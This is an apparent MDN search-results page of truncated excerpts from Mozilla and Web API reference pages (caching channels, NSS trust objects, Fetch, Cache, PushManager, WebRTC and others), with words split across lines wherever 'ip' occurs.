ipersistentproperties return the text attributes that apply to the entire accessible. read only. selectioncount long read only. constants text offset constants constant value descr
iption text_offset_end_of_text...
...And 3 more matches
nsICachingChannel
netwerk/base/public/nsicachingchannel.idlscr
iptable please add a summary to this article. inherits from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface provides: support for "stream as file" semantics (for jar and plugins). support for "pinning" cached data in the cache (for printing and save-as). support for uniquely identifying cached data in cases when the url is insufficient. for example a http form submission. a channel may optionally implement this interface to allow clients to affect its behavior with respect to how it uses the cache service. ...
...the cache (for printing and save-as). support for uniquely identifying cached data in cases when the url is insufficient. for example a http form submission. a channel may optionally implement this interface to allow clients to affect its behavior with respect to how it uses the cache service. method overview boolean isfromcache(); obsolete since gecko 2.0 attributes attribute type descr
iption cacheasfile boolean specifies whether or not the data should be cached to a file. this may fail if the disk cache is not present. the value of this attribute is usually only settable during the processing of a channel's onstartrequest. the default value of this attribute depends on the particular implementation of nsicachingchannel. cachefile nsifile get the "file" where the cached data c...
...for example, expiration time. offlinecacheclientid acstring the session into which to cache offline data. if not specified, data will be placed in "http-offline". offlinecachetoken nsisupports the same as cachetoken but accessing the offline app cache token if there is any. exceptions thrown ns_error_not_available when there is not offline cache token. constants constant value descr
iption load_no_network_io 1 << 26 this load flag inhibits fetching from the net. an error of ns_error_document_not_cached will be sent to the listener's onstoprequest if network io is necessary to complete the request. this flag can be used to find out whether fetching this url would cause validation of the cache entry via the network. combining this flag with load_bypass_local_cache will cause a...
...And 3 more matches
Mozilla technologies
starting with mozilla 1.9, it was phased out in favor of sqlite, a more widely-supported file format.placesplaces is the bookmarks and history management system introduced...
...r all mozilla projects hosted in the mercurial repositories can be searched and viewed online using searchfox, a fast indexed search engine that runs on aws.xml extrasthe xml extras module contains several features that allow developers to treat xml as data i.e. not as just another document format. ...
...e. not as just another document format. the module is structured as a drop-in component and exposes its xml-as-data features both to javascr
ipt and c++/xpcom users. the xml extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds.xpcomxpcom is a cross platform component object model, similar to microsoft com. ...
...And 3 more matches
Mail composition back end
hould you need this data for some reason. included in this functionality is the code to copy the messages to the appropriate locations after delivery (i.e. a "sent" folder) as well as the ability to store messages for features like "drafts" and "templates". several (but not all) of these interfaces are specified in idl. this will change in the coming weeks and allow for developers to write javascr
ipt to take advantage of the back end services. also, i will talk about some features though they may not be complete as of yet. i will try to make comments for these exceptions. sending messages the primary responsibility of the back end is for the creation and sending of rfc822 messages. the interface that accomplishes this task is the nsimsgsend interface. the feedback mech...
...messages the primary responsibility of the back end is for the creation and sending of rfc822 messages. the interface that accomplishes this task is the nsimsgsend interface. the feedback mechanism is provided by a nsimsgsendlistener which is implemented by the caller. the caller has the ability to add or remove listener interfaces to the nsimsgsend object and the interface can support mult
iple listeners. (for detailed information on the listener interfaces, see the listener interfaces section of this document) nsimsgsend the following describes the methods of the nsimsgsend interface. all of these methods are asynchronous operations. createandsendmessage the createandsendmessage method will create an rfc822 message and send it all in one ...
...iate folder for copy operations. nsimsgcompfields *fields, - the message composition fields. this will contain all of the relevant header information for message creation prbool digest_p, - this is a flag that says that most of the documents we are attaching are themselves messages, and so we should generate a mult
ipart/digest container instead of mult
ipart/mixed. (it's a minor difference.) prbool dont_deliver_p, - if "dont_deliver_p" is false, then we actually deliver the message to the smtp and/or nntp server nsmsgdelivermode mode, - mode is the delivery mode. this can be set for the various modes of delivery. these can inc...
...And 3 more matches
The libmime module
alize (mimeobject *object) { ((mimeobjectclass*)&mime_superclass)->finalize(object); // right parentclass.whatnot.object.finalize(object); // (works...) object->class->superclass->finalize(object); // wrong!! ...
...superclass)->finalize(object); // right parentclass.whatnot.object.finalize(object); // (works...) object->class->superclass->finalize(object); // wrong!! ...
....whatnot.object.finalize(object); // (works...) object->class->superclass->finalize(object); // wrong!! ...
...And 3 more matches
PKCS #11 Netscape Trust Objects - Network Security Services
tificate authority root certificates. this document outlines the way in which nss stores trust objects via pkcs#11. this is not a new design, but documentation of the method already in use. trust objects a trust object describes a level of trust in a certificate for a given usage or purpose. conceptually a trust object contains the following: certificate reference purpose + level of trust (mult
iple) purpose + level of trust a trust object ultimately denotes a level of trust in a certificate. the trust is expressed for a specific purpose (or usage). a trust object contains mult
iple purposes and the level of trust for each one. examples of purposes are: email, code signing, authenticating a server. the levels of trust are: untrusted: the certificate is explicitly untrusted. unknown: the...
...e der value of the issuer field, and the serial number. pkcs#11 representation trust objects are stored as objects on a pkcs#11 token. although these are specific to a certificate, they do not need to be stored on the same token as the certificate. trust objects are of the class cko_netscape_trust and have the following attributes. trust object attributes. attribute type descr
iption cka_class ck_object_class cko_netscape_trust cka_issuer byte array der-encoding of the certificate issuer name. required for non-trust anchor objects. cka_subject byte array der-encoding of the certificate subject name. optional. cka_serial_number byte array der-encoding of the certificate serial number. required for non...
... cka_trust_server_auth ck_trust level of trust for server authentication purpose. cka_trust_client_auth ck_trust level of trust for client authentication purpose. cka_trust_code_signing ck_trust level of trust for code signing purpose. cka_trust_email_protection ck_trust level of trust for email protection purpose. cka_trust_
ipsec_end_system ck_trust level of trust for
ipsec end system purpose. cka_trust_
ipsec_tunnel ck_trust level of trust for
ipsec tunnel purpose. cka_trust_
ipsec_user ck_trust level of trust for
ipsec user purpose. cka_trust_time_stamping ck_trust level of trust for time stamping purpose. cka_trust_digital_signature ck_trust level of tr...
...And 3 more matches
URLs - Plugins
rovide a means for locating and accessing resources that are available on the internet and on intranets. plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher. the table below summarizes urls supported by gecko. in addition, gecko may support urls not listed on this table. url scheme descr
iption about locates browser information or "fun" pages. file (host-specific filenames) locates files on a specific host computer rather than an internet resource. ftp (file transfer protocol) locates files and directories on internet hosts for file download. gopher (gopher protocol) locates specified items on a gopher server. obsolete since gecko 2.0 ...
... filenames) locates files on a specific host computer rather than an internet resource. ftp (file transfer protocol) locates files and directories on internet hosts for file download. gopher (gopher protocol) locates specified items on a gopher server. obsolete since gecko 2.0 http (hypertext transfer protocol) locates resources on the internet. javascr
ipt executes javascr
ipt code that follows the url. netscape-specific. mailto (electronic mail address) locates the internet mailing address of an individual or service. nethelp displays a nethelp topic in a nethelp window. browser-specific. news (usenet news) locates usenet news groups or individual usenet articles. nntp (usenet news using nntp acce...
...ividual usenet articles; alternate to news. prospero (prospero directory service) locates a resource on a prospero directory server. telnet (reference to interactive sessions) locates an interactive service. wais (wide area information servers) locates wais databases and their documents. wysiwyg placed before another url; displays a page that javascr
ipt has updated using document.write. for more information, see rfc 3986, "uniform resource identifier (uri): generic syntax", and the iana uri scheme registry. getting urls posting urls getting urls to retrieve a url and display it on a specified target page, use the npn_geturl, npn_geturlnotify, and npp_urlnotify functions. this section describes the methods and procedures used for g...
...And 3 more matches
Debugger.Environment - Firefox Developer Tools
ugger.environment instance represents a lexical environment, associating names with variables. each debugger.frame instance representing a debuggee frame has an associated environment object describing the variables in scope in that frame; and each debugger.object instance representing a debuggee function has an environment object representing the environment the function has closed over. ecmascr
ipt environments form a tree, in which each local environment is parented by its enclosing environment (in ecmascr
ipt terms, its 'outer' environment). we say an environmentbinds an identifier if that environment itself associates the identifier with a variable, independently of its outer environments. we say an identifier isin scope in an environment if the identifier is bound in that environment or...
...g that the environment's bindings are the properties of an object. the global object and dom elements appear in the chain of environments via object environments. (note that with statements have their own environment type.) "with", indicating that the environment was introduced by a with statement. parent the environment that encloses this one (the "outer" environment, in ecmascr
ipt terminology), or null if this is the outermost environment. object a debugger.object instance referring to the object whose properties this environment reflects. if this is a declarative environment record, this accessor throws a typeerror (since declarative environment records have no such object). both "object" and "with" environments have object properties that provide the object whose prop...
...nction, which receives var definitions) for a call to a functionf, then this property's value is a debugger.object instance referring tof. otherwise, this property's value is null. optimizedout true if this environment is optimized out. false otherwise. for example, functions whose locals are never aliased may present optimized-out environments. when true, getvariable returns an ordinary javascr
ipt object whose optimizedout property is true on all bindings, and setvariable throws a referenceerror. function properties of the debugger.environment prototype object the methods described below may only be called with a this value referring to a debugger.environment instance; they may not be used as methods of other kinds of objects. names() return an array of strings giving the names of ...
...And 3 more matches
Tutorial: Set a breakpoint - Firefox Developer Tools
this page shows how you can try out the debugger api yourself using firefox's scratchpad. we use debugger to set a breakpoint in a function, and then evaluate an expression whenever it is hit. this tutorial was tested against firefox 58 beta and nightly. it does not work in firefox 57. since the debugger api is only available to privileged javascr
ipt code, you'll need to use the browser content toolbox to try it out. to do this, open the firefox developer tools, click on the options gear at the upper right of the toolbox, and make sure that both "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging" are checked. these are located at the bottom right of the options panel; you may need to scroll to see them. once they're checked, you can close the develope...
...hrome and add-on debugging toolboxes" and "enable remote debugging" are checked. these are located at the bottom right of the options panel; you may need to scroll to see them. once they're checked, you can close the developer tools. save the following text to an html file: <div onclick="report('the best div');">click me!</div> <div onclick="report('another great div');">or me!</div> <scr
ipt> function report(what) { console.log('clicked: ' + what); } </scr
ipt> visit the html file in your browser, and open the browser content toolbox by opening the firefox menu, choosing "web developer", and then "browser content toolbox". if that item doesn't appear in the "web developer" menu, make sure you checked both boxes to enable the browser content toolbox as explained in step 1. ...
...ad; // it doesn't actually start debugging anything. adddebuggertoglobal(this); // create a 'debugger' instance. var dbg = new debugger; // make the tab's top window a debuggee, and get a // debugger.object referring to the window. var windowdo = dbg.adddebuggee(tabs[0].content); // get a debugger.object referring to the window's `report` // function. ...
...And 3 more matches
Edit fonts - Firefox Developer Tools
note: the updated font tools as shown in this article are available in firefox 63 onwards; if you are using an older version of firefox the tools will not look or behave quite the same, but they will be similar (most notably the font editor will not be available). ...
...ou: the font-family identifier and full name of the font. the url to the font file in the case of web fonts not available on your system, or "system" in the case of fonts loaded from your computer (either default system fonts, or web fonts that you've also got installed on your system). you can copy the url to the font file by clicking on the icon to the right of the url. the @font-face descr
iptor that loads the font into the page, in the case of web fonts. the descr
iptor is expandable -- when opened it shows its full syntax as defined in the stylesheet. a text sample, to give you an idea of what the font looks like when rendered. the default text for the sample is "abc" but the preview text can be edited by clicking on the input field at the top of the section and entering a new value...
...ll of the sample text will be set to the same custom value. variable font support in firefox developer tools firefox 62 added support for variable fonts and firefox 63 features support for editing the properties of variable fonts in the font editor. what are variable fonts? variable fonts, or opentype font variations, define a new font file format that allows the font designer to include mult
iple variations of a typeface inside a single font file. that means you no longer have to apply several different web fonts to a single page to represent a complete typeface for which a variable font is available, provided it includes the desired values for the different characteristics you want to vary. variable fonts make it easy to vary font characteristics in a much more granular fashion becaus...
...And 3 more matches
Web Console Helpers - Firefox Developer Tools
$$(selector, element) looks up a css selector string selector, returning an array of dom nodes descended from element that match. if unspecified, element defaults to document. this is like for document.queryselectorall(), but returns an array instead of a nodelist. $0 the currently-inspected element in the page. ...
...ne provided by the web console offers a few built-in helper functions that make certain tasks easier. $(selector, element) looks up a css selector string selector , returning the first node descended from element that matches. if unspecified, element defaults to document. equivalent to document.queryselector() or calls the $ function in the page, if it exists. see the queryselector code sn
ippet. $$(selector, element) looks up a css selector string selector, returning an array of dom nodes descended from element that match. if unspecified, element defaults to document. this is like for document.queryselectorall(), but returns an array instead of a nodelist. $0 the currently-inspected element in the page. $_ stores the result of the last expression executed in the console's com...
...e an xpathresult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, any_type is used. :block (starting in firefox 80) followed by an unquoted string, blocks requests where the url contains that string. in the network monitor, the string now appears and is selected in the request blocking sidebar. unblock with :unblock. cd() switches javascr
ipt evaluation context to a different iframe in the page. this helper accepts mult
iple different ways of identifying the frame to switch to. you can supply any of the following: a selector string to be passed to document.queryselector to locate the iframe element the iframe element itself the content window inside the iframe see working with iframes. clear() clears the console outpu...
...And 3 more matches
BaseAudioContext.decodeAudioData() - Web APIs
ally grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader. successcallback a callback function to be invoked when the decoding successfully finishes. the single argument to this callback is an audiobuffer representing the decodeddata (the decoded pcm audio data). usually you'll want to put the decoded data into an audiobuffersourcenode, from which it can be played and man
ipulated how you want. errorcallback an optional error callback, to be invoked if an error occurs when the audio data is being decoded. return value void, or a promise object that fulfills with the decodeddata. example in this section we will first cover the older callback-based system and then the newer promise-based syntax. older callback syntax in this example, the getdata() function use...
...he example simply run getdata() to load the track and start it playing, and stop it playing, respectively. when the stop() method is called on the source, the source is cleared out. ...
...o load the track and start it playing, and stop it playing, respectively. when the stop() method is called on the source, the source is cleared out. ...
...And 3 more matches
ByteLengthQueuingStrategy - Web APIs
to change preferences in firefox, visit about:config.ie no support noopera full support 46safari ? webview android full support 59chrome android full support ...
...to change preferences in firefox, visit about:config.opera android full support 43safari ios ? samsung internet android full support 7.0bytelengthqueuingstrategy() constructor experimentalchrome full support ...
...to change preferences in firefox, visit about:config.ie no support noopera full support 46safari ? webview android full support 59chrome android full support ...
...And 3 more matches
Using the CSS Painting API - Web APIs
der-image, mask-image, etc. to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight background, like on this header: css paint worklet in an external scr
ipt file, we employ the registerpaint() function to name our css paint worklet. it takes two parameters. the first is the name we give the worklet -- this is the name we will use in our css as the parameter of the paint() function when we want to apply this styling to an element. the second parameter is the class that does all the magic, defining the context options and what to paint to the two-dime...
...e simple. for more options, look at the canvas documentation. we also add a little bit of complexity later in this tutorial. using the paint worklet to use the paint worklet, we need to register it using addmodule() and include it in our css, ensuring the css selector matches a dom node in our html registering the worklet the setup and design of our paint worklet took place in the external scr
ipt shown above. we need to register that worklet from our main scr
ipt. css.paintworklet.addmodule('nameofpaintworkletfile.js'); this can be done using the paint worklet's addmodule() method in a <scr
ipt> within the main html or in an external javascr
ipt file linked to from the document. in our example, the paintworklet is stored on github. css.paintworklet.addmodule('https://mdn.github.io/houd...
...paintworklet's registerpaint() function. .fancy { background-image: paint(headerhighlight); } putting it together we can then add the fancy class to any element on the page to add a yellow box as a background: <h1 class="fancy">my cool header</h1> the following example will look like the image above in browsers supporting the css painting api. while you can't play with the worklet's scr
ipt, you can alter the background-size and background-position to change the size and location of the background image. paintsize in the example above, we created a 20x200 unit box, painted 15 units from the top of the element it is the same regardless of the size of the element. if the text is small, the yellow box looks like a huge underline. if the text is huge, the box might look like an bar ...
...And 3 more matches
Cache - Web APIs
the cache interface provides a storage mechanism for request / response object pairs that are cached, for example as part of the serviceworker life cycle. note that the cache interface is exposed to windowed scopes as well as workers. you don't have to use it in conjunction with service workers, even though it is defined in the service worker spec. an origin can have mult
iple, named cache objects. you are responsible for implementing how your scr
ipt (e.g. in a serviceworker) handles cache updates. items in a cache do not get updated unless explicitly requested; they don't expire unless deleted. use cachestorage.open() to open a specific named cache object and then call any of the cache methods to maintain the cache. you are also responsible for periodically purging cache entries. each bro...
... cache storage that a given origin can use. cache quota usage estimates are available via the storageestimate api. the browser does its best to manage disk space, but it may delete the cache storage for an origin. the browser will generally delete all of the data for an origin or none of the data for an origin. make sure to version caches by name and use the caches only from the version of the scr
ipt that they can safely operate on. see deleting old caches for more information. note: the key matching algorithm depends on the vary header in the value. so matching a new key requires looking at both key and value for entries in the cache. note: the caching api doesn't honor http caching headers. methods cache.match(request, options) returns a promise that resolves to the response ass...
...equest and its response and adds it to the given cache. cache.delete(request, options) finds the cache entry whose key is the request, returning a promise that resolves to true if a matching cache entry is found and deleted. if no cache entry is found, the promise resolves to false. cache.keys(request, options) returns a promise that resolves to an array of cache keys. examples this code sn
ippet is from the service worker selective caching sample. (see selective caching live) the code uses cachestorage.open() to open any cache objects with a content-type header that starts with font/. the code then uses cache.match() to see if there's already a matching font in the cache, and if so, returns it. if there isn't a matching font, the code fetches the font from the network and uses cache.
...And 3 more matches
CountQueuingStrategy - Web APIs
to change preferences in firefox, visit about:config.ie no support noopera full support 46safari ? webview android full support 59chrome android full support ...
...to change preferences in firefox, visit about:config.opera android full support 43safari ios ? samsung internet android full support 7.0countqueuingstrategy() constructor experimentalchrome full support ...
...to change preferences in firefox, visit about:config.ie no support noopera full support 46safari ? webview android full support 59chrome android full support ...
...And 3 more matches
Document - Web APIs
deo, audio file, or the like. document.pluginsread only returns a list of the available plugins. document.featurepolicy read only returns the featurepolicy interface which provides a simple api for introspecting the feature policies applied to a specific document. document.preferredstylesheetsetread only returns the preferred style sheet set as specified by the page author. document.scr
iptsread only returns all the <scr
ipt> elements on the document. document.scrollingelementread only returns a reference to the element that scrolls the document. document.selectedstylesheetset returns which style sheet set is currently in use. document.stylesheetsetsread only returns a list of the style sheet sets available on the document. document.timelineread only returns timeline as...
...terlockelement read only returns the element set as the target for mouse events while the pointer is locked. null if lock is pending, pointer is unlocked, or if the target is in another document. documentorshadowroot.stylesheetsread only returns a stylesheetlist of cssstylesheet objects for stylesheets explicitly linked into, or embedded in a document. event handlers document.onafterscr
iptexecute represents the event handling code for the afterscr
iptexecute event. document.onbeforescr
iptexecute represents the event handling code for the beforescr
iptexecute event. document.oncopy represents the event handling code for the copy event. document.oncut represents the event handling code for the cut event. document.onfullscreenchange is an eventhandler representing the ...
...borts. also available via the onanimationcancel property. animationend fired when an animation has completed normally. also available via the onanimationend property. animationiteration fired when an animation iteration has completed. also available via the onanimationiteration property. animationstart fired when an animation starts. also available via the onanimationstart property. cl
ipboard events copy fired when the user initiates a copy action through the browser's user interface. also available via the oncopy property. cut fired when the user initiates a cut action through the browser's user interface. also available via the oncut property. paste fired when the user initiates a paste action through the browser's user interface. also available via the onpaste prope...
...And 3 more matches
Using the W3C DOM Level 1 Core - Web APIs
what is a dom tree? a dom tree is a kind of tree whose nodes represent an html or xml document's contents. each html or xml document has a unique dom tree representation. ...
... what is a dom tree? a dom tree is a kind of tree whose nodes represent an html or xml document's contents. each html or xml document has a unique dom tree representation. ...
... builds a dom tree and then uses it to display the document. what does the dom level 1 core let me do? the w3c dom level 1 core allows you to change a dom tree in any way you want. this implies the ability to create any html or xml document from scratch, or to change any contents of a given html or xml document. ...
...And 3 more matches
Using Fetch - Web APIs
it also provides a global fetch() method that provides an easy, logical way to fetch resources asynchronously across the network. this kind of functionality was previously achieved using xmlhttprequest. fetch provides a better alternative that can be easily used by other technologies such as service workers. fetch also provides a single logical place to define other http-related concepts such as cors and extensions to http. the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won't reject on http error status even if the response is an http 404 or 500. ...
... }, redirect: 'follow', // manual, *follow, error referrerpolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url body: json.stringify(data) // body data type must match "content-type" header }); return response.json(); // parses json response into native javascr
ipt objects } postdata('https://example.com/answer', { answer: 42 }) .then(data => { console.log(data); // json data parsed by `data.json()` call }); note that mode: "no-cors" only allows a limited set of headers in the request: accept accept-language content-language content-type with a value of application/x-www-form-urlencoded, mult
ipart/form-data, or text/plain sending a reque...
...rm-data, or text/plain sending a request with credentials included to cause browsers to send a request with credentials included, even for a cross-origin call, add credentials: 'include' to the init object you pass to the fetch() method. fetch('https://example.com', { credentials: 'include' }); if you only want to send credentials if the request url is on the same origin as the calling scr
ipt, add credentials: 'same-origin'. // the calling scr
ipt is on the origin 'https://example.com' fetch('https://example.com', { credentials: 'same-origin' }); to instead ensure browsers don't include credentials in the request, use credentials: 'omit'. fetch('https://example.com', { credentials: 'omit' }) uploading json data use fetch() to post json-encoded data. const data = { username...
...And 3 more matches
FileSystemEntrySync - Web APIs
e it points to--including the file name and its path from the root to the entry. warning: this api was never accepted and never became standardized. various browsers implement pieces of the file and directory entries api (otherwise known as the file system api) but you should try to avoid using it. basic concepts the filesystementrysync interface includes methods that you would expect for man
ipulating files and directories, but it also include a really handy method for getting a url of the entry: tourl(). it also introduces a new url scheme: filesystem:. you can use the filesystem: scheme on google chrome to see all the files and folders that are stored in the origin of your app. just use filesystem: scheme for the root directory of the origin of the app. for example, if your app is in...
... fullpath readonly domstring the full absolute path from the root to the entry. an absolute path is a relative path from the root directory, prepended with a '/'. isdirectory readonly boolean true if filesystementrysync is a directory. isfile r...
.... name readonly domstring the name of the entry, excluding the path leading to it. methods getmetadata() look up metadata about this entry. [ todo: specify what kind of metadata ] metadata getmetada () raises (fileexception); parameter none returns metadata exceptions this method can raise a fileexception with the following codes: exception descr
iption not_found_err the entry does not exist. invalid_state_err the filesystemsync is no longer valid for some reason besides being deleted. moveto() move an entry to a different location on the file system. moving a file over an existing file replaces that existing file. moving a directory over an existing empty directory replaces that directory. [todo: what if ...
...And 3 more matches
GlobalEventHandlers.onerror - Web APIs
the onerror property of the globaleventhandlers mixin is an eventhandler that processes error events. error events are fired at various targets for different kinds of errors: when a javascr
ipt runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface errorevent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addeventlistener (not only capturing)). when a resource (such as an <img> or <scr
ipt>) fails to load, an error event using interface event is fired at the element that initiated the load, and the onerror() handler on the element is invoked. these error events do not bubble up to window, but (at least in firefox) can be handled with a window.addeventlistener configured with usecaptu...
... syntax for historical reasons, different arguments are passed to window.onerror and element.onerror handlers (as well as on error-type window.addeventlistener handlers). window.onerror window.onerror = function(message, source, lineno, colno, error) { ... }; function parameters: message: error message (string). available as event (sic!) in html onerror="" handler. source: url of the scr
ipt where the error was raised (string) lineno: line number where error was raised (number) colno: column number for the line where the error occurred (number) error: error object (object) when the function returns true, this prevents the firing of the default event handler. window.addeventlistener('error') window.addeventlistener('error', function(event) { ... }) event of type errorevent...
...ge tag, and need to specify a backup image in case the one you need is not available on the server for any reason. <img src="imagenotfound.gif" onerror="this.onerror=null;this.src='imagefound.gif';" /> the reason we have the this.onerror=null in the function is that the browser will be stuck in an endless loop if the onerror image itself generates an error. ...
...And 3 more matches
HTMLImageElement.alt - Web APIs
ring (""). this is shown in the example below. html in the html for this example, shown below, the <img> element includes the alt property, which will prevent the image from having any alternate text, since it's simply a decorational detail. <div class="container"> <div class="left-margin"> <img src="/files/16861/margin-flourish.svg" alt=""> </div> <div class="contents"> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. quisque quis orci ligula. lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. in ac neque libero. vivamus consectetur rhoncus elit eget porta. etiam pulvinar ex id sapien laoreet, quis aliquet odio lobortis. nam ac mauris at risus laoreet cursus vitae et sapien. etiam molestie auctor eros, ac porta risus scelerisque ...
...p: 1em; padding-left: 2em; padding-right: 1em; } result images used as buttons when using an image as a button (by using it as the only visible child of an <a> element representing a hyperlink), the alt attribute must be used to convey the purpose of the button. in other words, it should be the same text you would use in a textual button to serve the same purpose. for example, in the sn
ippet of html below, a toolbar which uses icon images as link labels provides alt attributes for each giving a textual label to use instead of the icon when the icons cannot be or are intentionally not used. <li class="toolbar" aria-role="toolbar"> <a href="songs.html" aria-role="button"><img src="songicon.svg" alt="songs"</a> <a href="albums.html" aria-role="button"><img src="albumicon.svg" al...
...ven "updated on 27 august 2019". in this example, a starburst image with the word "new!" is used to indicate that an article is about something new (and probably supposedly also exciting). the alt attribute is set to new page! to allow that text to be displayed in place of the image if the image isn't available. it is also available to be read by screen readers. ...
...And 3 more matches
HTMLImageElement.sizes - Web APIs
atically select among different images--even images of different orientations or aspect ratios--as the document state changes to match different media conditions. each condition is specified using the same conditional format used by media queries. ...
...entations or aspect ratios--as the document state changes to match different media conditions. each condition is specified using the same conditional format used by media queries. syntax let sizes = htmlimageelement.sizes; htmlimageelement.sizes = sizes; value a usvstring containing a comma-separated list of source size descr
iptors followed by an optional fallback size. ...
...ent.sizes; htmlimageelement.sizes = sizes; value a usvstring containing a comma-separated list of source size descr
iptors followed by an optional fallback size. each source size descr
iptor is comprised of a media condition, then at least one whitespace character, then the source size value to use for the image when the media condition evaluates to true. media conditions each source size descr
iptor consists of a media condition as defined by the media queries standard. because a source size descr
iptor is used to specify the width to use for the image during layout of the page, the media condition is typically (but not necessarily) based entirely on width information. see syntax in using media queries for details on how to construct a media condition. source size values the source size ...
...And 3 more matches
KeyboardEvent - Web APIs
constructor keyboardevent() creates a new keyboardevent object. constants the keyboardevent interface defines the following constants. keyboard locations the following constants identify which part of the keyboard the key event originates from. they are accessed as keyboardevent.dom_key_location_standard and so forth. keyboard location identifiers constant value descr
iption dom_key_location_standard 0x00 the key described by the event is not identified as being located in a particular area of the keyboard; it is not located on the numeric keypad (unless it's the numlock key), and for keys that are duplicated on the left and right sides of the keyboard, the key is, for whatever reason, not to be associated with that location. examples...
... numeric keypad (unless it's the numlock key), and for keys that are duplicated on the left and right sides of the keyboard, the key is, for whatever reason, not to be associated with that location. examples include alphanumeric keys on the standard pc 101 us keyboard, the numlock key, and the space bar. dom_key_location_left 0x01 the key is one which may exist in mult
iple locations on the keyboard and, in this instance, is on the left side of the keyboard. examples include the left control key, the left command key on a macintosh keyboard, or the left shift key. dom_key_location_right 0x02 the key is one which may exist in mult
iple positions on the keyboard and, in this case, is located on the right side of the keyboard. example...
...keyboardevent() constructor. obsolete properties keyboardevent.char read only returns a domstring representing the character value of the key. if the key corresponds to a printable character, this value is a non-empty unicode string containing that character. if the key doesn't have a printable representation, this is an empty string. note: if the key is used as a macro that inserts mult
iple characters, this attribute's value is the entire string, not just the first character. keyboardevent.charcode read only returns a number representing the unicode reference number of the key; this attribute is used only by the keypress event. for keys whose char attribute contains mult
iple characters, this is the unicode value of the first character in that attribute. in firefox 26 this re...
...And 3 more matches
PaymentResponse.retry() - Web APIs
the paymentresponse interface's retry() method makes it possible to ask the user to retry a payment after an error occurs during processing. this lets your app gracefully deal with situations such as invalid sh
ipping addresses or declined credit cards. syntax retrypromise = paymentrequest.retry(errorfields); parameters errorfields a paymentvalidationerrors object, with the following properties: error optional a general descr
iption of a payment error from which the user may attempt to recover by retrying the payment, possibly after correcting mistakes in the payment information. error can be provided all by itself to provide only a generic error message, or in concert with the other properties to serve as an overview while other properties' values gude the user to errors in ...
...nt object which provides appropriate error messages for any of the fields describing the payer which failed validation. paymentmethod optional any payment method specific errors which may have occurred. this object's contents will vary depending on the payment used. for example, if the user chose to pay by credit card using the basic-card payment method, this is a basiccarderrors object. sh
ippingaddress optional an addresserrors object which contains error messages for any of the fields in the sh
ipping address that failed validation. return value a promise which is resolved when the payment is successfully completed. the promise is rejected with an appropriate exception value if the payment fails again. typically you will use this by calling show(), then entering a loop or rec...
...equest(methoddata, details, options); const response = await request.show(); await recursivevalidate(request, response); await response.complete("success"); } // keep validating until the data looks good! ...
...And 3 more matches
PushManager.subscribe() - Web APIs
the subscribe() method of the pushmanager interface subscribes to a push service. it returns a promise that resolves to a pushsubscr
iption object containing details of a push subscr
iption. a new push subscr
iption is created if the current service worker does not have an existing subscr
iption. syntax pushmanager.subscribe(options).then(function(pushsubscr
iption) { ... } ); parameters options optional an object containing optional configuration parameters. it can have the following properties: uservisibleonly: a boolean indicating that the returned push subscr
iption will only be used for messages whose effect is made visible to the user. applicationserverkey: a base64-encoded domstring or arraybuffer containing an ecdsa p-256 public key that the push server will use to authent...
... all messages from your application server must use the vapid authentication scheme, and include a jwt signed with the corresponding private key. this key is not the same ecdh key that you use to encrypt the data. for more information, see "using vapid with webpush". note: this parameter is required in some browsers like chrome and edge. returns a promise that resolves to a pushsubscr
iption object. example this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc. } navigator.serviceworker.register('serviceworker.js'); // use serviceworker.ready to ensure that you can subscribe for push navigator.serviceworker.ready.then( function(serviceworkerregistration) { ...
... }, function(error) { // during development it often helps to log errors to the // console. in a production environment it might make sense to ...
...And 3 more matches
RTCIceCandidate.address - Web APIs
the source of the candidate. address is null by default if not otherwise specified. the address field's value is set when the rtcicecandidate() constructor is used. you can't specify the address in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly. ...
...te.address; value a domstring providing the
ip address from which the candidate comes. note: if port is null -- and port is supported by the user agent -- passing the candidate to addicecandidate() will fail, throwing an operationerror exception. security notes it's important to note here that although webrtc does not require the two peers on an rtcpeerconnection to know one another's true
ip addresses, the address property on rtcicecandidate can expose more information about the source of the remote peer than the user expects. the
ip address can be used to derive information about the remote device's location, network topology, and so forth. it can also be used for fingerprinting purposes. ...
...this can occur without the remote peer's consent. ...
...And 3 more matches
RTCPeerConnection.createOffer() - Web APIs
eady attached to the webrtc session, codec, and options supported by the browser, and any candidates already gathered by the ice agent, for the purpose of being sent over the signaling channel to a potential peer to request a connection or to update the configuration of an existing connection. the return value is a promise which, when the offer has been created, is resolved with a rtcsessiondescr
iption object containing the newly-created offer. syntax apromise = mypeerconnection.createoffer([options]); mypeerconnection.createoffer(successcallback, failurecallback, [options]) parameters options optional an rtcofferoptions dictionary providing options requested for the offer. rtcofferoptions dictionary the rtcofferoptions dictionary is used to customize the offer created by this...
...rameters in older code and documentation, you may see a callback-based version of this function. this has been deprecated and its use is strongly discouraged. you should update any existing code to use the promise-based version of createoffer() instead. the parameters for this form of createoffer() are described below, to aid in updating existing code. successcallback an rtcsessiondescr
iptioncallback which will be passed a single rtcsessiondescr
iption object describing the newly-created offer. errorcallback an rtcpeerconnectionerrorcallback which will be passed a single domexception object explaining why the request to create an offer failed. options optional an optional rtcofferoptions dictionary providing options requested for the offer. return value a promise whose ful...
...escribing the newly-created offer. errorcallback an rtcpeerconnectionerrorcallback which will be passed a single domexception object explaining why the request to create an offer failed. options optional an optional rtcofferoptions dictionary providing options requested for the offer. return value a promise whose fulfillment handler will receive an object conforming to the rtcsessiondescr
